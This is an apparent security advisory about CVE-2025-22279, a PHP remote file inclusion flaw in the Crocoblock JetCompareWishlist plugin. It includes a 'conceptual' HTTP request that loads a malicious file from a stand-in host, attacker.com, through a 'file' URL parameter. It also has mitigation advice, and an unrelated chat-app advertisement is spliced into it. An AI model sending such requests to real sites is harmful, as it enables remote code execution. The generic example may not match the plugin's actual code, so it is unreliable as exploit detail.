Overview
This report discusses the recently discovered high-risk vulnerability, CVE-2025-22279, affecting the Crocoblock JetCompareWishlist. The vulnerability is a PHP Remote File Inclusion flaw resulting from improper control of filename for Include/Require Statement in PHP Program. This critical issue can potentially lead to system compromise or data leakage if exploited, making it a significant concern for anyone using this software.
Vulnerability Summary
CVE ID: CVE-2025-22279
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Crocoblock JetCompareWishlist | Up to and including 1.5.9
How the Exploit Works
The vulnerability stems from the improper control of filename for Include/Require Statement in JetCompareWishlist’s PHP program. A remote attacker can exploit this flaw by providing manipulated input, possibly via URL parameters, to include a remote file. This remote file can contain malicious PHP code that can lead to system compromise or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited:
GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: vulnerable_site.comIn this example, the attacker is exploiting the vulnerability by injecting a malicious file hosted on their server (`attacker.com`) into the vulnerable application via the `file` URL parameter.
Solutions and Mitigations
Users are strongly advised to apply the vendor-supplied patch to fix this vulnerability. If the patch cannot be installed immediately, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. This will however not eliminate the vulnerability but can help detect and block attempts to exploit it.
